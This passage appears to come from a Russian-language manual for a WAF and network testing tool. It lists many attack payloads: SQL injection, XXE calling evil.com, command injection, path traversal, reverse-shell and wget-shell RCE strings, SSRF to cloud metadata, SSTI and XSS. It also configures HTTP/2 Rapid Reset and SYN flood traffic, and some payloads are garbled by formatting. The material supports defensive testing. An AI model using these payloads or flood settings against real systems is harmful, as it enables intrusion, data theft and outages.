Продвинутое тестирование WAF

SQLi Advanced, описание приведено в Табл. 23;

Генерирует различные SQL-инъекций: от простых UNION SELECT до обфусцированных и байпас-атак, включая Blind SQLi и Time-based SQLi. Проверяет устойчивость к попыткам обхода фильтрации SQL

Табл. 23 – Параметры « SQLi Advanced»

НазваниеЗначение
Basic UNOIN SELECT/?id=1+union+select+1,2,3--
Comment-obfuscated UNION/?id=1+un/\*\*/ion+se/\*\*lect+1,2,3--
Case-mised UNION/?id=1+UnIoN/\*\*/SeLecT/\*\*/1,2,3--
Double UNION-SELECT bypass/?id=1+UNunionION+SEselectLECT+1,2,3--
Vertical tab separation/?id=1+uni%0bon+se%0blect+1,2,3--
Division error + hex payload/?id=0+div+1+union%23foo\*%2F\*bar%0D%0Aselect%23foo%0D%0A1%2C2%2Ccurrent\_user
Massive hex payload/?id=1+and+(select%201)=(select%200x414141414141441414141414114141414141414141414141414141414141414141%E2%80%A6.)+union+select+1,2,version(),database(),user(),6,7,8,9,10
MySQL table dump/?id=1 /\*\!union select\*/ 1,table\_name from /\*\!information\_schema.tables\*/
Hex-encoded table/?id=1 /\*\!union select\*/ 1,column\_name from /\*\!information\_schema.columns where table\_name \= 0x7573657273\*/
Compact data extraction/?id=1 /\*\!union select\*/ /\*\!user,password\*/ from /\*\!users\*/
XP_CMDSHELL/?id=1\\'; EXEC master..xp\_cmdshell "net user zeq3ul UrWaFisShiT /add" \--
LPAD function'/id/1/\*\*/
Vertical tab LPAD/id/1%0b
Double-encoded UNION/?id=1%252f%252a\*/union%252f%252a/select%252f%252a\*/1,2,3%252f%252a\*/from%252f%252a\*/users--
Current_user/?id=0%20div%201%20union%20select%201,2,current\_user
MySQL-specific UNION/?id=1/\*\!UnIoN\*/SeLecT+1,2,3--
Concat table names/?id=/\*\!UnIoN\*/+/\*\!SeLecT\*/+1,2,concat(/\*\!table\_n%20ame\*/)+FrOm/\*\!information\_schema\*/.tables/\*\!WhErE\*/+/\*\!TaBlE\_sChEMa\*/%20+like+database()--
Query stacking 1/?q=select name\&q=password from users
Query stacking 2/?q=select name,password from users
Fragmented query/?q=select/\*\&q=\*/name& amp;q=password/\*\&q=\*/from/\*\&q=\*/users
Version concat/?p=-1 union /\*\!select\*/ concat\_ws(0x3a,version(),database(),user())
Column enum/?p=-373867 union select 1,2,column\_name,4,5 from information\_schema.columns/\*
Full system info/?p=-3195 union /\*\!select\*/ 0,1,2,3,4,5,6,7,8,9,concat\_ws(0x3a,@@version,user(),database(),@@version\_compile\_os),11,12,13,14,15,16,17,18,19,20,21,22,23,24,25--
Subquery/?p=( ( SELECT @a ) OR 'b' ) \--
Function bypass/?p=( (SELECT 'a' ) OR COS ( 'b') ) \--
Version check/?p=-1' or 1=@@version \--
Char-based version/?p=3520 AND (version() like char(51,46,50,51,46,53,52))
Limit abuse/?p=1' union (select 's' from users limit 1,1)
Version 2/?p=-001 union select 1,2,3,4,5,version(),7,8,9,10
System user/?p=-1 or 1=(select system\_user)--
Char alert/?p=1 union select 1,char(72,97,99,107,101,100,32,98,121,32,91,32,99,97,115,104,32,93),3,4,5,6,7/\*
Substring/?p=22 AND SUBSTRING((y()),1,1)=x/\*
Benchmark/?p="+if(benchmark(3000000,MD5(1)),NULL,NULL))%20--
Nested benchmark/?p=)) and 0=benchmark(3000000,MD5(1))%20--
Waitfor delay/?p=),NULL)%20waitfor%20delay%20'0:0:20'%20--
Nested sleep/?p=,(select \* from (select(sleep(10)))a)
JSON extract/?p=-1748 OR JSON\_EXTRACT("{""nCvS"": 9981}", "$.nCvS") \= 9981\*7055
JSON array/?p=123 AND JSON\_ARRAY\_LENGTH("\[\]") \<= 294
JSON keys/?p=123") OR JSON\_KEYS((SELECT CONVERT((SELECT CONCAT(0x7162766a71,(SELECT (ELT(4024=4024,1))),0x7178717a71)) USING utf8))) AND ("xWuM" LIKE "xWuM
Negative float/?p="union select \-7431.1, name, @aaa from u\_base--w-
Float compare/?p=or 123.22=123.22
Delay syntax/?p= waitfor delay '00:00:10'--
Nested sleep 2/?p=(select(0)from(select(sleep(15)))v)/\*'+(select(0)from(select(sleep(15)))v)+'%22+(select(0)from(select(sleep(15)))v)+%22\*/
JSON extract 2/?p=-1134') OR JSON\_EXTRACT('{\\"\\"aKER\\"\\": 9648}', '$.aKER') \= 9648\*7799 AND ('QlYa' LIKE 'QlYa
JSON depth/?p=123) AND 12=12 AND JSON\_DEPTH('{}') \!= 2521
ELT function/?p=123) AND ELT(5287=5287,5480) AND JSON\_ARRAY\_LENGTH('\[\]') \<= 2333
JSON keys 2/?p=123 AND JSON\_KEYS((SELECT CONVERT((SELECT CONCAT(0x7162766a71,(SELECT (ELT(1141=1141,1))),0x7178717a71)) USING utf8)))
JSON length/?p=123) AND (SELECT 'eNOW')='FsQu' AND JSON\_LENGTH('{}') \<= 9779
XXE Advanced, описание приведено в Табл. 24

Проверяет уязвимости в XML-парсерах. Используются атаки, способные раскрыть содержимое файлов, инициировать сетевые подключения и обойти ограничения.

Табл. 24 – Параметры «XXE Advanced»

НазваниеЗначение
External entity file read\<?xml version="1.0"?\>\<\!DOCTYPE root \[\<\!ENTITY test SYSTEM '\]\>\&test;file:///etc/passwd'\>\]\>\<root\>\&test;\</root\>
Base64 data scheme attack\<\!DOCTYPE test \[ \<\!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"\> %init; \]\>\<foo/\>
Remote DTD inclusion\<?xml version="1.0" encoding="ISO-8859-1"?\>\<\!DOCTYPE foo \[\<\!ELEMENT foo ANY \>\<\!ENTITY % xxe SYSTEM "http://evil.com/secret\_pass.txt" \>\]\>\<foo\>\&xxe;\</foo\> 
Collaborator-based SSRF\<\!DOCTYPE root \[\<\!ENTITY test SYSTEM '\]\>\&test;http://h3l9aaaaz81tmq5ztaaaaaa.burpcollaborator.net'\>\]\>\<root\>\&test;\</root\> 
Command Injection Advanced, описание приведено в Табл. 25

Проверяет, можно ли выполнить произвольные команды ОС через параметры запроса. Атаки охватывают как POSIX, так и Windows-окружения.

Табл. 25 – Параметры «Command Injection Advanced»

НазваниеЗначение
SQL-to-OS pivot/?id=10 and 1=0/(select top 1 table\_name from information\_schema.tables)
Obfuscated SQL-to-OS/?id=10 a%nd 1=0/(se%lect top 1 ta%ble\_name fr%om info%rmation\_schema.tables)
XPCMDSHELL User CreationCODEBLOCK2\_
Direct XPCMDSHELL CallCODEBLOCK3\_
Bracket Obfuscation/?xp\[cmdshell
Basic Command Chaining/?a=; ls
Newline Injection/?a=%0a ls
Subshell Execution/?a=$(ls)
Single Quote Escape/?a='ls'
Ampersand Separation/?a=& ls
URL-encoded Ampersand/?a=%26 ls
Double Ampersand/?a=1 && ls
URL-encoded Double Ampersand/?a=%26%26 ls
Pipe Separation/?a=
Double Pipe/?a=
Path Fragmentation/?a= '/b'i'n/l's'
Backslash Obfuscation/?a= /b\\\\in/l\\\\s
Variable Substitution/?a=cat$a /etc\#$a/passwd$a
File Injection Advanced, описание приведено в Табл. 26

Тестирует возможности внедрения через пути к файлам: php://, file://, zip:// и другие. Цель — получить доступ к конфиденциальным данным или исполняемым файлам.

Табл. 26 – Параметры «File Injection Advanced»

НазваниеЗначение
Basic Directory Traversal/?file=../bla.txt
Encoded Dot-Dot-Slash/?file=.%./bla.txt
PHP Filter Exploit via XML Entity/?a=\<\!ENTITY%20bin%20PUBLIC%20"php://filter/read=convert.%20base64-encode/resource=/path/to/binary/file"\>
Basic File Protocol/?p=file=/etc/passwd
File URI Scheme?p=file:///etc/passwd
PHP Base64 Filter/?p=php://filter/convert.base64-encode/resource=../../../../../etc/passwd
PHP Zlib Compression Filter/?p=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd
Kubernetes Secrets via IPv6/?p=file://0000::001/var/run/secrets/kubernetes.io/serviceaccount
XML Injection Advanced, описание приведено в Табл. 27

Анализирует, как система обрабатывает пользовательские XML-вводы. Может привести к ошибкам парсинга или раскрытию данных.

Табл. 27 – Параметры «XML Injection Advanced»

НазваниеЗначение
XML Parser Logic Bypass/?test\[1=2test\_ \--
Path Traversal Advanced, описание приведено в Табл. 28

Тестирует обработку путей типа ../../etc/passwd и их различных обфускаций. Актуально для выявления доступа к защищённым системным файлам.

Табл. 28 – Параметры «Path Traversal Advanced»

НазваниеЗначение
Windows Path/?p=.../.../WINDOWS/win.ini
Null Byte Termination/?p=../../../../etc/passwd%00
JPG Null Byte/?p=../../../../etc/passwd%00jpg
Query Param Bypass/?p=../../../../etc/passwd?
Double Encoding/?p=%252e%252e%252fetc%252fpasswd
Double Encoded Null/?p=%252e%252e%252fetc%252fpasswd%00
Nested Slashes/?p=....//....//etc/passwd
Excessive Slashes/?p=..///////..////..//////etc/passwd
Backslash Bypass/?p=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
URL Encoded Slash/?p=..%2f..%2f..%2f..%2fetc%2fpasswd
Dot Encoding/?p=%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
Triple Encoding/?p=..%252f..%252f..%252f..%252f..%252fetc%252fpasswd
Backslash Encoding/?p=..%255c..%255c..%255c..%255cetc%255cpasswd
Unicode Bypass/?p=..%c0%af..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
Dot Overload/?p=%252e%252e%252e%252e%252e%252eetcpasswd'
C1 Byte Bypass/?p=..%c1%9c..%c1%9c..%c1%9c..%c1%9cetc%c1%9cpasswd
UNC Path Traversal Advanced, описание приведено в Табл. 29

Использует пути вида \host\c$\windows\win.ini для тестирования доступа к удалённым или локальным системным ресурсам через нестандартные методы.

Табл. 29 – Параметры « UNC Path Traversal Advanced»

НазваниеЗначение
IPv6 UNC Path/?p=0::001c$windowswin.ini
Registry Access/?p=::1c$usersdefault\\ntuser.dat
Localhost UNC/?p=localhostc$windowswin.ini
Long Path Bypass/?p=file:////////////////////////c
RCE Advanced, описание приведено в Табл. 30

Имитация атак на уязвимости типа ShellShock, инъекции PHP/JS, и обход фильтров для выполнения произвольного кода на целевом сервере.

Табл. 30 – Параметры « RCE Advanced»

НазваниеЗначение
ShellShock Exploit/?p=() { :; }; echo ; /bin/bash \-c 'cat /etc/passwd'
PHP Short Tag/?p=\<?=$\_POST\[00\]?\>
Command Concatenation/?p=; cat /et'c/pa's's'wd
IP-based Execution/?p=cmd=127.0.0.1 && ls /etc
String Reversal/?p=$(printf 'hsab/nib/ e- 4321 1.0.0.721 cn'
Variable Obfuscation/?p=cat$IFS$9${PWD\[a-z\]\*}e\*c${PWD\[a−za-z\]\*}p?ss??
GraphQL Advanced, описание приведено в Табл. 31

Автоматически отправляет нестандартные, глубоко вложенные и мутированные запросы GraphQL для выявления пробелов в валидации и контроле типов.

Табл. 31 – Параметры «GraphQL Advanced»

НазваниеЗначение
Basic Schema Extraction/?query={ \_\_schema { types { name } } }
Deep Type Introspection/?query={\_\_schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description locations args{...InputValue}}}}fragment FullType on \_\_Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on \_\_InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on \_\_Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}}
XSS Advanced, описание приведено в Табл. 32

Проверка на возможность внедрения JavaScript-кода в веб-страницу. Используются payload'ы для DOM-based, reflected и stored XSS.

Табл. 32 – Параметры «XSS Advanced»

НазваниеЗначение
Body Onload/?q=\<body onload=alert('test1')\>
Mouseover Event/?q=\<b onmouseover=alert('Wufff\!')\>click me\!\</b\>
Image Error/?q=\<img/src=x/onerror=xxx
Wheel Event/?q="onwheel=alert(111)
Prototype Pollution/?q=?\_\_proto\_\_\[innerHTMLinnerHTML\]=\<img/src/onerror%3dalert(1)\>
Closure Base Path/?q=?\_\_proto\_\_\[CLOSURE_BASE_PATHCLOSURE\_BASE\_PATH\]=data:,alert(1)//
Vue.js Exploit/?q=\_\_proto\_\_\[v−ifv-if\]=\_c.export constructor('alert(1)')()
SVG MIME Abuse/?q=sometext\<svg onload=alert(document.domain)\>?mimeType=text/html
SVG Short/?q='\>\<svg/onload=alertxss\>
Exception Handler/?q="\])}``catch(e){if(\!this.x)alert(document.domain),this.x=1}//
Self XSS/?q="));if(\!self.x)self.x=\!alert(document.domain)}``catch(e){}//
Image Error 2/?q=\<img src=x onerror=alert(document.domain)\>/all
JavaScript Pseudo/?q=javascript:setInterval('ale'+'rt(document.domain)')
Map Confirm/?q="Onclick="(\[11\].map(confirm))
Base64 Image/?q=\<img\\nsrc=data:image/gif;base64,R0lGODlhAQABAAD/ACwAAAAAAQABAAACADs=\\nonload=alert(1)\>
Autofocus Bypass/?q=\\\\"autofocus=alert(1)//
External Entity/?a=\<\!ENTITY%20pay%20SYSTEM%20"http://example.com/payload.xml"\>
Doctype Short/?a=\<\!DOCTYPE :. SYTEM "http://"
Complex Doctype/?a=\<\!DOCTYPE :\_-\_: SYTEM "http://"
SSRF Advanced, описание приведено в Табл. 33

Тестирует возможность заставить сервер делать HTTP-запросы от своего имени к внутренним сервисам, metadata API или внешним адресам.

Табл. 33 – Параметры «SSRF Advanced»

НазваниеЗначение
Cloud Metadata/?q=https://somehost/metadata/instance
Telnet IPv4/?q=telnet://2852039166/
IPv6 Transition/?q=http://\[::ffff:a9fe:a9fe\]/
AWS Metadata/?q=http://\[0:0:0:0:0:ffff:169.254.169.254\]/latest/meta-data/
OpenStack Metadata/?q=http://169.254.169.254/openstack
Octal Encoding/?q=http://0251.00376.000251.0000376/
Shortened IP/?q=http://0251.254.169.254
Localhost/?q=http://0.0.0.0:80
Gopher Protocol/?q=gopher://0.0.0.0:443
SSH Port/?q=http://0.0.0.0:22
FTP IPv4/?q=ftp://3232235521/
Short Port/?q=http://0:8080/
Minimal URL/?q=http://0/
Link-Local/?q=http://169.254.169.254
IMAP/?q=imap://2130706433
Wildcard IPv6/?q=http://\[::::\]
Compressed IPv6/?q=http://0000::1
Unicode Gopher/?q=gopher://%EF%BD%9A%EF%BD%9A%EF%BD%9A
TFTP Unicode/?q=tftp://%F0%9D%9F%8E%F0%9D%9F%8E%F0%9D%9F%8E
SSI/SSTI Advanced, описание приведено в Табл. 34

Атаки на шаблонизаторы (Jinja2, Freemarker и др.) и SSI-инструкции. Цель — выполнить команды или прочитать файлы через шаблонную логику.

Табл. 34 – Параметры «SSI/SSTI Advanced»

НазваниеЗначение
SSI Command/?q=\<\!--\#exec cmd="wget http://some\_host/shell.txt
SSI List Dir/?q=\<\!--\#exec cmd="ls" \--\>
SSI Windows Dir/?q=\<\!--\#exec cmd="dir" \--\>
Java Resource/?q=${class.getResource("./test/test.res").getContent()}
Twig RCE/?q={{\_self.env.registerUndefinedFilterCallback("exec")}}{{\_self.env.getFilter("id")}}
Freemarker RCE/?q=\<\#assign ex \= "freemarker.template.utility.Execute"?new()\>${ ex("id")}
Python Attribute/?q={{request
  1. Параметры сессии - параметры, касающиеся управления сессиями в рамках текущего плагина, описание которых указаны в Табл. 35

    Табл. 35 – Параметры «Сессии»

НазваниеОписаниеЗначение
Общее количество сессийМаксимальное количество одновременно активных сессий, которые могут быть установлены в рамках плагина.Задайте числовое значение
Тайм-аут повторного подключенияВремя в секундах, в течение которого Пересвет-СТ будет пытаться восстановить соединение после его разрыва. Если соединение не будет восстановлено в указанный период, сессия будет закрыта.Задайте числовое значение
Подключений в секундуМаксимальное количество новых сессий, которые могут быть установлены за одну секунду.Задайте числовое значение
Макс. стримов (на сессию)Максимальное количество потоков данных, которые могут быть активны в одной сессии. Параметр доступен только при включении H2 в «Параметрах HTTP».Задайте числовое значение
Тумблер «Без ограничения»Максимальная производительность без ограничений на кол-во отправляемых запросов в секундуВключить/выключить
Запросов в секунду (на сессию)Максимальное количество запросов, которые могут быть обработаны в секунду для одной сессии/стрима.Задайте числовое значение
Интервал между отправкой запросовОпция позволяет настроить задержку между отправкой заданного кол-ва запросов в секунду.Задайте числовое значение
  1. Длительность - параметр, отвечающий за время работы плагина, описание которого указано в Табл. 36.

Табл. 36 – Параметр «Длительность»

НазваниеОписаниеЗначение
Длительность генерацииВремя генерации трафикаЗадайте числовое значение и выберите величину (в секундах, минутах или часах)

HTTP/2 Rapid Reset

HTTP/2 Rapid Reset – плагин для генерации различного веб-трафика с механизмом в протоколе HTTP/2, который позволяет быстро сбрасывать соединения.

Данный плагин состоит из следующих параметров:

  1. Источники – совокупность из выбранного агента, интерфейсов и MAC-адресов с которых агент будет отправлять и принимать трафик. Описание параметров указаны в Табл. 37;

Табл. 37 – Параметры «Источники»

НазваниеОписаниеЗначение
АгентАгент, с которого будет отправляться трафик и с который будет принимать трафик.выберите агент из списка агентов
Сетевой интерфейсСетевой интерфейс агента, с которого будет отправляться трафик и с который будет принимать трафиквыберите интерфейс из списка интерфейсов
СетьВыбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика. Если выбрано более одного объекта, можно изменить параметр «вес», отвечающий за балансировку распределения пакетов между выбранными объектами «Сети».выберите объект «Сети» из списка объектов. Задайте вес (по умолчанию, вес распределяет равномерно пакеты между объектами «Сети»)
  1. Цели - параметры для выбора объекта, в который будет направляться трафик (см .заголовок «Сети»), описание которых указаны в Табл. 38;

Табл. 38 – Параметры «Цели»

НазваниеОписаниеЗначение
ЦельВыбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика в выбранную цель.выберите объект «Сети» из списка объектов.
  1. IP заголовок (L3) - параметры настроек IP заголовков на уровне L3 TPC/IP, описание которых указаны в Табл. 39;

Табл. 39 – Параметры «IP заголовок (L3)»

НазваниеОписаниеЗначение
TTL (Time to Live)Параметр TTL определяет максимальное количество маршрутизаторов (хопов), через которые может пройти пакет данных, прежде чем он будет отброшен.Задайте числовое значение (по умолчанию, значение TTL является: «128»)
ToS (Type of Service)DSCP — это поле в заголовке IP-пакета, которое используется для определения приоритета и обработки трафикаЗадайте числовое значение (по умолчанию, значение DSCP является: «7»)
ToS (Type of Service)ECN — это механизм, который позволяет маршрутизаторам уведомлять узлы о перегрузках в сети без сброса пакетов.выберите значение из списка: 00 (Non-ECT) 01 (ECT(1)) 10 (ECT(0)) 11 (CE (Congestion Experienced))
  1. TCP заголовок (L4) – параметры настроек IP заголовков на уровне L4 TPC/IP, описание которых указаны в Табл. 40;

Табл. 40 – Параметры «TCP заголовок (L4)»

НазваниеОписаниеЗначение
Max. Segment Size (Максимальный размер сегмента)Максимальный размер сегмента определяет максимальный объем данных, который может быть передан в одном TCP-сегментеЗадайте числовое значение (по умолчанию, значение Max. Segment Size является: «1460»)
WS (IP Options)Параметр WS (Window Scale) относится к механизму масштабирования окна TCP, который позволяет увеличить размер окна для управления потоком данных.Задайте числовое значение (по умолчанию, значение WS является: «64»)
Window Size (Размер окна)Размер окна TCP определяет объем данных, который может быть отправлен без ожидания подтверждения от получателя.Задайте числовое значение (по умолчанию, значение Window Size является: «256»)
  1. Параметры HTTP - параметры настроек HTTP заголовков на уровне L6-L7 TPC/IP, описание которых указано в Табл. 41;

Табл. 41 – Параметры «Параметры HTTP»

НазваниеОписаниеЗначение
HTTPsУказывает, используется ли защищенный протокол передачи данных HTTPSДа / Нет (укажите текущее состояние переключателем тумблера)
Версия TLSВерсия TLS (Transport Layer Security) определяет протокол шифрования, используемый для обеспечения безопасной передачи данных между клиентом и сервером (Параметр доступен, если параметр HTTPs включен)выберите значение TLS v1.2 или TLS v1.3
Версия HTTPУказывает версию протокола HTTP, используемую для передачи данных.выберите значение HTTP 1.1 или HTTP 2.0
User-AgentЗаголовок, который идентифицирует клиентское приложение (например, браузер) и операционную систему, с которой осуществляется запрос.Введите значение заголовка: по умолчанию, значением заголовка является: «Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36» ${userAgent} - Обеспечивает ротацию User-Agent: для каждого запроса выбирается случайный валидный вариант из списка в веб-интерфейсе
ПутьУказывает путь к запрашиваемому ресурсу на сервере. Это часть URL, которая следует за доменным именем.Введите значение пути (по умолчанию, значение пути является корневая директория сервера: «/»)
HTTP методМетод, используемый для запроса ресурса на сервере.выберите из следующего списка:
GET
POST
PUT
PATCH
DELETE
HTTP статусОпция, отвечающая за отслеживание переадресации сессии в сторону цели. Если опция включена: все ответные запросы содержащие код ответа 3ХХ будут отработаны и сессия вместе с последующим трафиком в рамках этой сессии будет перенаправлен в цель, указанную в заголовке «location»Включить/выключить тумблер
HTML Meta RefreshОпция, отвечающая за отслеживание переадресации сессии в сторону цели. Если опция включена: все ответные запросы, содержащие в ответе HTML страницу с meta-тегом «refresh» будут отработаны и сессия вместе с последующим трафиком в рамках этой сессии будет перенаправлен в цель, указанную в заголовке «content», включая задержкуВключить/выключить тумблер
ГлубинаЗначение максимально допустимого количества переадресаций в рамках одной TCP сессииЗадайте свое значение (по умолчанию, значение равно «20»)
Query параметрыПараметры, передаваемые в URL после знака вопроса (?)Введите значение после нажатия кнопки «Добавить параметры»: Введите свое значение ${str(length)} - Формирует произвольную комбинацию символов заданной длины (пример: ${str(16)}) ${strMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов с длиной в указанных пределах (пример: ${strMinMax(16,24)}) ${hex(length)} - Формирует произвольную комбинацию символов заданной длины в шестнадцатеричном формате (пример: ${hex(16)}) ${hexMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов в шестнадцатеричном формате в указанных пределах (пример: ${hexMinMax(16,24)}) ${email} - Формирует валидный email со случайным именем пользователя и доменом ${login} - Формирует валидный логин пользователя ${password}- Формирует валидный пароль пользователя
ЗаголовкиДополнительные метаданные, отправляемые вместе с HTTP-запросом.Введите значение после нажатия кнопки «Добавить параметры»: Введите свое значение ${str(length)} - Формирует произвольную комбинацию символов заданной длины (пример: ${str(16)}) ${strMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов с длиной в указанных пределах (пример: ${strMinMax(16,24)}) ${hex(length)} - Формирует произвольную комбинацию символов заданной длины в шестнадцатеричном формате (пример: ${hex(16)}) ${hexMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов в шестнадцатеричном формате в указанных пределах (пример: ${hexMinMax(16,24)}) ${email} - Формирует валидный email со случайным именем пользователя и доменом ${login} - Формирует валидный логин пользователя ${password}- Формирует валидный пароль пользователя
  1. Параметры сессии - параметры, касающиеся управления сессиями в рамках текущего плагина, описание которых указано в Табл. 42;

Табл. 42 – Параметры «Параметры сессии»

НазваниеОписаниеЗначение
Общее количество сессийМаксимальное количество одновременно активных сессий, которые могут быть установлены в рамках плагина.Задайте числовое значение
Тайм-аут повторного подключенияВремя в секундах, в течение которого Пересвет-СТ будет пытаться восстановить соединение после его разрыва. Если соединение не будет восстановлено в указанный период, сессия будет закрыта.Задайте числовое значение
Подключений в секундуМаксимальное количество новых сессий, которые могут быть установлены за одну секунду.Задайте числовое значение
Макс. стримов (на сессию)Максимальное количество потоков данных, которые могут быть активны в одной сессии. Параметр доступен только при включении H2 в «Параметрах HTTP».Задайте числовое значение
Тумблер «Без ограничения»Максимальная производительность без ограничений на кол-во отправляемых запросов в секундуВключить/выключить
Запросов в секунду (на сессию)Максимальное количество запросов, которые могут быть обработаны в секунду для одной сессии/стрима.Задайте числовое значение
Интервал между отправкой запросовОпция позволяет настроить задержку между отправкой заданного кол-ва запросов в секунду.Задайте числовое значение
  1. Длительность - параметр, отвечающий за время работы плагина, описание которого указано в Табл. 43.

Табл. 43 – Параметр «Длительность»

НазваниеОписаниеЗначение
Длительность генерацииВремя генерации трафикаЗадайте числовое значение и выберите величину (в секундах, минутах или часах)

SYN Flood

SYN Flood – плагин для генерации трафика, в котором отправляется большое количество запросов на установление TCP-соединения (SYN-пакеты) без завершения процесса.

Данный плагин состоит из следующих параметров:

  1. Источники – совокупность из выбранного агента, интерфейсов и MAC-адресов с которых агент будет отправлять и принимать трафик. Описание параметров указаны в Табл. 44;

Табл. 44 – Параметры «Источники»

НазваниеОписаниеЗначение
АгентАгент, с которого будет отправляться трафик и с который будет принимать трафик.выберите агент из списка агентов
Сетевой интерфейсСетевой интерфейс агента, с которого будет отправляться трафик и с который будет принимать трафиквыберите интерфейс из списка интерфейсов
СетьВыбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика. Если выбрано более одного объекта, можно изменить параметр «вес», отвечающий за балансировку распределения пакетов между выбранными объектами «Сети».выберите объект «Сети» из списка объектов. Задайте вес (по умолчанию, вес распределяет равномерно пакеты между объектами «Сети»)
MAC-адресВыбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафикавыберите объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес отправителя
  1. Цели – параметры для выбора объекта, в который будет направляться трафик (см. раздел «Добавление сети типа «получателя»), описание которых указаны в Табл. 45;

Табл. 45 – Параметры «Цели»

НазваниеОписаниеЗначение
MAC-адресВыбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафикавыберите объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес получателя.
ЦельВыбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика в выбранную цель.выберите объект «Сети» из списка объектов.
  1. IP заголовок (L3) – параметры настроек IP заголовков на уровне L3 TPC/IP, описание которых указаны в Табл. 46;

Табл. 46 – Параметры «IP заголовок (L3)»

НазваниеОписаниеЗначение
TTL (Time to Live)Параметр TTL определяет максимальное количество маршрутизаторов (хопов), через которые может пройти пакет данных, прежде чем он будет отброшен.Задайте числовое значение (по умолчанию, значение TTL является: «128»)
ToS (Type of Service)DSCP — это поле в заголовке IP-пакета, которое используется для определения приоритета и обработки трафикаЗадайте числовое значение (по умолчанию, значение DSCP является: «7»)
ToS (Type of Service)ECN — это механизм, который позволяет маршрутизаторам уведомлять узлы о перегрузках в сети без сброса пакетов.выберите значение из списка: 00 (Non-ECT) 01 (ECT(1)) 10 (ECT(0)) 11 (CE (Congestion Experienced))
Случайный IDУникальный идентификатор пакета, выбранный случайным образом для различения фрагментов одного и того же IP-пакетаВключить/выключить тумблер
Значение IDЧисловой идентификатор, присвоенный каждому IP-пакету для его идентификации при фрагментации и сборке Параметр доступен, если параметр «Случайный ID» выключенЗадайте числовое значение (по умолчанию, значение «Значение ID» является: «0-65535»)
  1. TCP заголовок (L4) – параметры настроек IP заголовков на уровне L4 TPC/IP, описание которых указаны в Табл. 47;

Табл. 47 – Параметры «TCP заголовок (L4)»

НазваниеОписаниеЗначение
Max. Segment Size (Максимальный размер сегмента)Максимальный размер сегмента определяет максимальный объем данных, который может быть передан в одном TCP-сегментеЗадайте числовое значение (по умолчанию, значение Max. Segment Size является: «1460»)
WS (IP Options)Параметр WS (Window Scale) относится к механизму масштабирования окна TCP, который позволяет увеличить размер окна для управления потоком данных.Задайте числовое значение (по умолчанию, значение WS является: «64»)
Window Size (Размер окна)Размер окна TCP определяет объем данных, который может быть отправлен без ожидания подтверждения от получателя.Задайте числовое значение (по умолчанию, значение Window Size является: «256»)
Случайный Sequence NumberСлучайное число, используемое для инициализации последовательности номеров в протоколах связи (например, TCP)Включить/выключить тумблер
Значение Sequence NumberТекущее число в последовательности, указывающее порядок данных в потоке передачи Параметр доступен, если параметр «Случайный Sequence Number» выключенЗадайте числовое значение (по умолчанию, значение Sequence Number является: «0-4294967295»)
  1. Параметры скорости – параметр, отвечающий за скорость передачи пакетов, описание которого указано в Табл. 48;

Табл. 48 – Параметр «Скорость»

НазваниеОписаниеЗначение
Тумблер «Без ограничения»Максимальная производительность без ограничений на кол-во отправляемых запросов в секундуВключить/выключить
Пакетов в секундуКакое количество пакетов будет отправлено в одну секундуЗадайте числовое значение
Интервал между отправкой запросовОпция позволяет настроить задержку между отправкой заданного кол-ва запросов в секунду.Задайте числовое значение
  1. Длительность - параметр, отвечающий за время работы плагина, описание которого указано в Табл. 49.

Табл. 49 – Параметр «Длительность»

НазваниеОписаниеЗначение
Длительность генерацииВремя генерации трафикаЗадайте числовое значение и выберите величину (в секундах, минутах или часах)

SYN/ACK Flood

SYN/ACK Flood – плагин для генерации трафика, который отправляет большое количество пакетов SYN-ACK на цель, заставляя ее обрабатывать множество соединений.

Данный плагин состоит из следующих параметров:

  1. Источники – совокупность из выбранного агента, интерфейсов и MAC-адресов с которых агент будет отправлять и принимать трафик. Описание параметров указаны в Табл. 50;

Табл. 50 – Параметры «Источники»

НазваниеОписаниеЗначение
АгентАгент, с которого будет отправляться трафик и с который будет принимать трафик.выберите агент из списка агентов
Сетевой интерфейсСетевой интерфейс агента, с которого будет отправляться трафик и с который будет принимать трафиквыберите интерфейс из списка интерфейсов
СетьВыбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика. Если выбрано более одного объекта, можно изменить параметр «вес», отвечающий за балансировку распределения пакетов между выбранными объектами «Сети».выберите объект «Сети» из списка объектов. Задайте вес (по умолчанию, вес распределяет равномерно пакеты между объектами «Сети»)
MAC-адресВыбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафикавыберите объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес отправителя
  1. Цели – параметры для выбора объекта, в который будет направляться трафик (см. раздел «Добавление сети типа «получателя»), описание которых указаны в Табл. 51;

Табл. 51 – Параметры «Цели»

